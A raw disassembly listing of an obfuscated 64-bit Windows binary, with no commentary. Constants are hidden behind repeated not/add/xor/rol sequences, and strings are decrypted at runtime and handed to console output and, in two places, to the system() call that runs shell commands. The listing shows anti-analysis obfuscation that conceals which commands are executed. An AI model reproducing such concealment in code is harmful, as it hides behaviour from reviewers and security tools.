movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400d4ee0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d4eec
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x192cc09c0]
pushf
sub rdx, 0x52cb89a0
popf
mov rcx, rax
jmp 0x1400d4f08
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400d5358
mov r8d, 0x686d9a1c
pushf
not r8d
add r8d, 0x92110da1
xor r8d, 0xe9f3a0c4
rol r8d, 0x9d
popf
pushf
not r8d
add r8d, 0x9518baa9
xor r8d, 0x82b2b5a1
rol r8d, 0x96
popf
pushf
not r8d
add r8d, 0xc2928b1e
xor r8d, 0x909e23fd
rol r8d, 3
popf
pushf
not r8d
add r8d, 0x91e531db
xor r8d, 0xbd793d2c
rol r8d, 0x3c
popf
lea rdx, [0x191140858]
pushf
sub rdx, 0x510bc748
popf
lea rcx, [rsp + 0x70]
jmp 0x1400d4fc8
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rdx, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
push rdx
not rdx
sub rcx, rdx
pop rdx
sub rcx, 1
jmp 0x1400d4fe5
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400d5039
push rax
pushf
mov eax, 0x67eb5580
pushf
not eax
add eax, 0xcb800e48
xor eax, 0x92ebf728
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x95b4f427
xor eax, 0xc0586f55
rol eax, 0xa8
popf
pushf
not eax
add eax, 0x92e3e9e7
xor eax, 0xe5ad6d51
rol eax, 0xd2
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x965fa0b0
pushf
not eax
add eax, 0xe75aca0c
xor eax, 0xad07cdbf
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xb3c74435
xor eax, 0xede39593
rol eax, 0xdf
popf
pushf
not eax
add eax, 0x86e9295d
xor eax, 0xbfe64522
rol eax, 0xf6
popf
jmp 0x1400d0961
movabs rax, 0xa27ac7fa3d84a7ce
pushf
not rax
add rax, 0x7f7487bd
xor rax, 0x68f12df8
rol rax, 0x68
popf
pushf
not rax
add rax, 0x5cc9a9ef
xor rax, 0x4594c4c8
rol rax, 0x77
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0x8e9223befe69e39c
pushf
not rax
add rax, 0x6f0d60f3
xor rax, 0x53217b71
rol rax, 0x56
popf
pushf
not rax
add rax, 0x4b6a276e
xor rax, 0x6e0a94bf
rol rax, 0x59
popf
pushf
not rax
add rax, 0x4cd1dd5d
xor rax, 0x4133af95
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x566914d9
xor rax, 0x61cb082c
rol rax, 0x84
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0xfbb8a2343756642c
pushf
not rax
add rax, 0x6ce914f2
xor rax, 0x77d178e6
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x69fe26cb
xor rax, 0x597c695f
rol rax, 0x36
popf
pushf
not rax
add rax, 0x51dc0cf3
xor rax, 0x58233cef
rol rax, 0xe2
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0x971f18eb6835baf
pushf
not rax
add rax, 0x5c1d2262
xor rax, 0x755b99f3
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x5abd3024
xor rax, 0x4701e3ad
rol rax, 0xd5
popf
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xe0], xmm1
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b8cc6
mov rbx, rax
jmp 0x1400d5221
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d522d
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1bd44c55a]
pushf
sub rdx, 0x7d44453a
popf
mov rcx, rax
jmp 0x1400d5249
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x78]
call fcn.14011581a
test rax, rax
jne 0x1400d52b7
push rax
pushf
mov eax, 0xaf2bd141
pushf
not eax
add eax, 0x926350a3
xor eax, 0xa258ad8d
rol eax, 0x41
popf
pushf
not eax
add eax, 0xc673f13d
xor eax, 0x9576446e
rol eax, 0xea
popf
pushf
not eax
add eax, 0xa683458e
xor eax, 0x9b83b4b8
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xd2914d28
xor eax, 0xa694abb6
rol eax, 0x6f
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xae7910ec
pushf
not eax
add eax, 0xb95ee53c
xor eax, 0x9948fb9d
rol eax, 0x50
popf
pushf
not eax
add eax, 0xf5e00c58
xor eax, 0xfc6bc31a
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xf27976fe
xor eax, 0xeed30ab2
rol eax, 0x5d
popf
jmp 0x1400d0961
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d531f
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
push rax
pushf
mov eax, 0xea9998aa
pushf
not eax
add eax, 0x8662a583
xor eax, 0xcb846db2
rol eax, 0x7d
popf
pushf
not eax
add eax, 0xe9564b62
xor eax, 0x804c9f34
rol eax, 0x29
popf
jmp 0x1400d0961
movabs rax, 0x2a16a7743114499c
pushf
not rax
add rax, 0x709e6f30
xor rax, 0x68874ee1
rol rax, 0x88
popf
pushf
not rax
add rax, 0x5154d294
xor rax, 0x56c6c939
rol rax, 0xed
popf
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d53cb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d53d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r12d, eax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
jmp 0x1400d425c
lea rcx, [rsp + 0x78]
call fcn.14011581a
test rax, rax
jne 0x1400d549c
push rax
pushf
mov eax, 0x773ec97b
pushf
not eax
add eax, 0xb7c8b85f
xor eax, 0xb5330678
rol eax, 0xce
popf
pushf
not eax
add eax, 0x88067b6e
xor eax, 0xb5b2e530
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xcf1464d2
xor eax, 0x86f46a0c
rol eax, 0x45
popf
pushf
not eax
add eax, 0xc61d113a
xor eax, 0x98a96a8a
rol eax, 0xaf
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xe26e8de8
pushf
not eax
add eax, 0x85e97f0d
xor eax, 0xc2b0e455
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xc90befcb
xor eax, 0xfef77a69
rol eax, 0x76
popf
jmp 0x1400d0961
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x70]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x1400d54f1
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
push rax
pushf
mov eax, 0x210a914f
pushf
not eax
add eax, 0x921f1f8b
xor eax, 0xfcd03ffd
rol eax, 0xf9
popf
pushf
not eax
add eax, 0x88a1b687
xor eax, 0xe2860250
rol eax, 0xac
popf
pushf
not eax
add eax, 0x82f974af
xor eax, 0xb204f4f6
rol eax, 0x95
popf
pushf
not eax
add eax, 0x86fadcb3
xor eax, 0xc8f49bdc
rol eax, 0x28
popf
jmp 0x1400d0961
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x70], rdi
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.1400ce457
lea rcx, [rbp - 0x80]
jmp 0x1400d5581
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x18]
jmp 0x1400d558c
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
movabs rdi, 0xc47f50c3f833f280
pushf
not rdi
add rdi, 0x42e448e7
xor rdi, 0x74137269
rol rdi, 0xcb
popf
pushf
not rdi
add rdi, 0x79510e62
xor rdi, 0x72c9b3e4
rol rdi, 3
popf
pushf
not rdi
add rdi, 0x64802b62
xor rdi, 0x5d2f90bf
rol rdi, 0x34
popf
push rax
pushf
mov eax, 0xe0127e2c
pushf
not eax
add eax, 0xf216a5dc
xor eax, 0xa501889f
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x878dcaf3
xor eax, 0xb205df79
rol eax, 0x70
popf
pushf
not eax
add eax, 0xe9a29dee
xor eax, 0xa7a1cb1d
rol eax, 0x79
popf
jmp 0x1400d0961
movabs rax, 0x30b5a4e881ed76d5
pushf
not rax
add rax, 0x420bf48d
xor rax, 0x69fe238d
rol rax, 6
popf
pushf
not rax
add rax, 0x57fbfdaa
xor rax, 0x5b073dd7
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x554300fb
xor rax, 0x5c782dcd
rol rax, 0x26
popf
mov qword [rbp + 0x80], rax
movabs rbx, 0x8e4d8fb45854c99d
pushf
not rbx
add rbx, 0x64f33dba
xor rbx, 0x7762e3dd
rol rbx, 0x52
popf
pushf
not rbx
add rbx, 0x51374206
xor rbx, 0x66c1bb97
rol rbx, 0x5e
popf
pushf
not rbx
add rbx, 0x79a99793
xor rbx, 0x416a3ca5
rol rbx, 0x80
popf
pushf
not rbx
add rbx, 0x5510c3e3
xor rbx, 0x53c1718a
rol rbx, 0xa1
popf
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
call fcn.1400c19fa
test al, al
jne 0x1400d5764
push rax
pushf
mov eax, 0xc204e63
pushf
not eax
add eax, 0xc760be8e
xor eax, 0x870dde57
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd62eb796
xor eax, 0xee5af23d
rol eax, 0x5f
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xa715e7f9
pushf
not eax
add eax, 0xb49c066d
xor eax, 0xad40bf37
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x85d58eea
xor eax, 0xcdbb428d
rol eax, 0x88
popf
pushf
not eax
add eax, 0xee37df4d
xor eax, 0xc28bb923
rol eax, 0xd7
popf
jmp 0x1400d0961
movabs rax, 0x7c1caa4d219a175
pushf
not rax
add rax, 0x5f970837
xor rax, 0x4bc85c77
rol rax, 0xea
popf
pushf
not rax
add rax, 0x64920b4a
xor rax, 0x6abafa07
rol rax, 0x33
popf
pushf
not rax
add rax, 0x488d47c4
xor rax, 0x68c9fe7b
rol rax, 0x61
popf
mov qword [rbp + 0x100], rax
movabs rax, 0x7044705168c2b0c9
pushf
not rax
add rax, 0x7b93de5a
xor rax, 0x647c0c8c
rol rax, 0x39
popf
pushf
not rax
add rax, 0x6face254
xor rax, 0x73a2c966
rol rax, 0xdb
popf
mov qword [rbp + 0x108], rax
movabs rax, 0xe1c498f987061fe8
pushf
not rax
add rax, 0x7af20171
xor rax, 0x477cfca4
rol rax, 0x3d
popf
pushf
not rax
add rax, 0x471a6790
xor rax, 0x6db54832
rol rax, 0x30
popf
pushf
not rax
add rax, 0x7efb599f
xor rax, 0x7a57df88
rol rax, 0x2a
popf
mov qword [rbp + 0x110], rax
movabs rax, 0xc0a1dd4a63cc54e1
pushf
not rax
add rax, 0x485d7b68
xor rax, 0x7ea3ff4b
rol rax, 0x10
popf
pushf
not rax
add rax, 0x7f322f6e
xor rax, 0x584167d4
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x6b3472c1
xor rax, 0x61a27428
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x5e529a6e
xor rax, 0x5c74e829
rol rax, 0x2c
popf
mov qword [rbp + 0x118], rax
movabs rax, 0x246691bdb1dfa0a8
pushf
not rax
add rax, 0x745df655
xor rax, 0x6a06dd42
rol rax, 0x40
popf
pushf
not rax
add rax, 0x637c1435
xor rax, 0x5e14412e
rol rax, 0x63
popf
pushf
not rax
add rax, 0x4b517867
xor rax, 0x6b0dd48a
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x67151518
xor rax, 0x654d6ba3
rol rax, 5
popf
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
mov qword [rbp + 0xb0], r13
mov qword [rbp + 0xb8], r15
movabs rcx, 0xa3bd230da3d52fab
pushf
not rcx
add rcx, 0x699e953f
xor rcx, 0x7c2e43e3
rol rcx, 0x13
popf
pushf
not rcx
add rcx, 0x5f250b0d
xor rcx, 0x6cec1fe8
rol rcx, 0xf9
popf
pushf
not rcx
add rcx, 0x4aa465a6
xor rcx, 0x5217ece1
rol rcx, 0x5c
popf
mov qword [rbp + 0xc0], rcx
mov qword [rbp + 0xc8], rdi
movdqa xmm0, xmmword [rbp + 0xa0]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x100], xmm0
movdqa xmm1, xmmword [rbp + 0x110]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x110], xmm1
movdqa xmm0, xmmword [rbp + 0x120]
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x100]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400b8cc6
lea rdx, [0x1a1a4d928]
pushf
sub rdx, 0x61a45908
popf
mov rcx, rax
jmp 0x1400d5a63
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xcf47cfce24edd802
pushf
not rax
add rax, 0x6f30a9f9
xor rax, 0x61535b15
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x5ceaa85f
xor rax, 0x6487cb46
rol rax, 0x43
popf
pushf
not rax
add rax, 0x725c39fd
xor rax, 0x49e9d31a
rol rax, 0xba
popf
pushf
not rax
add rax, 0x53930ec5
xor rax, 0x4fae017f
rol rax, 0x6e
popf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0xa0], r14
mov qword [rbp + 0xa8], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x80], xmm0
lea rcx, [rbp + 0x80]
jmp 0x1400d5b0a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
push rax
pushf
mov eax, 0x94fcf7d4
pushf
not eax
add eax, 0xdfcd4702
xor eax, 0x8562754b
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xcea39846
xor eax, 0x9370306c
rol eax, 0x69
popf
jmp 0x1400d0961
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400d5b82
push rax
pushf
mov eax, 0x1d2fa178
pushf
not eax
add eax, 0xc6cc9c70
xor eax, 0x8c4261a8
rol eax, 0xc7
popf
pushf
not eax
add eax, 0xa04c2e7f
xor eax, 0xb0fe7ff8
rol eax, 0x7e
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0xfd91af35
pushf
not eax
add eax, 0xbf8452d9
xor eax, 0xc7ff7c4b
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xba7812a3
xor eax, 0xdc7992d0
rol eax, 0x5f
popf
jmp 0x1400d0961
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400d5c14
push rax
pushf
mov eax, 0xa2a79791
pushf
not eax
add eax, 0x9f3b5968
xor eax, 0xb2f237b7
rol eax, 0x25
popf
pushf
not eax
add eax, 0xe152367f
xor eax, 0xa25bf3a1
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xe4923191
xor eax, 0xf0c00b13
rol eax, 0x28
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x8d95b207
pushf
not eax
add eax, 0x8b89334c
xor eax, 0xc2bd47f0
rol eax, 0x92
popf
pushf
not eax
add eax, 0xdf9b13aa
xor eax, 0xc4ca1667
rol eax, 0x43
popf
jmp 0x1400d0961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400d5c8f
push rax
pushf
mov eax, 0x8c7e9778
pushf
not eax
add eax, 0xeeccb25c
xor eax, 0x822aea62
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xd766b170
xor eax, 0xeb463952
rol eax, 4
popf
jmp 0x1400d0961
push rax
pushf
mov eax, 0x99fd1b4
pushf
not eax
add eax, 0xd84a87fa
xor eax, 0xc7e327c9
rol eax, 0xd0
popf
pushf
not eax
add eax, 0x9a476875
xor eax, 0xce2256a7
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xbab2569e
xor eax, 0xca48c605
rol eax, 0x29
popf
jmp 0x1400d0961
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c3971
push rax
pushf
mov eax, 0xf960f8fb
pushf
not eax
add eax, 0x82d0b8d5
xor eax, 0xcf0fb740
rol eax, 0x60
popf
pushf
not eax
add eax, 0x8b17f4a3
xor eax, 0xc0401cec
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xdc8cca28
xor eax, 0xae9dcaa7
rol eax, 0x80
popf
pushf
not eax
add eax, 0xd4031c58
xor eax, 0xe93f60d8
rol eax, 0x2b
popf
jmp 0x1400d0961
mov eax, r12d
jmp 0x1400d1500
call fcn.1400e291f
int3
call fcn.1400a22fb
int3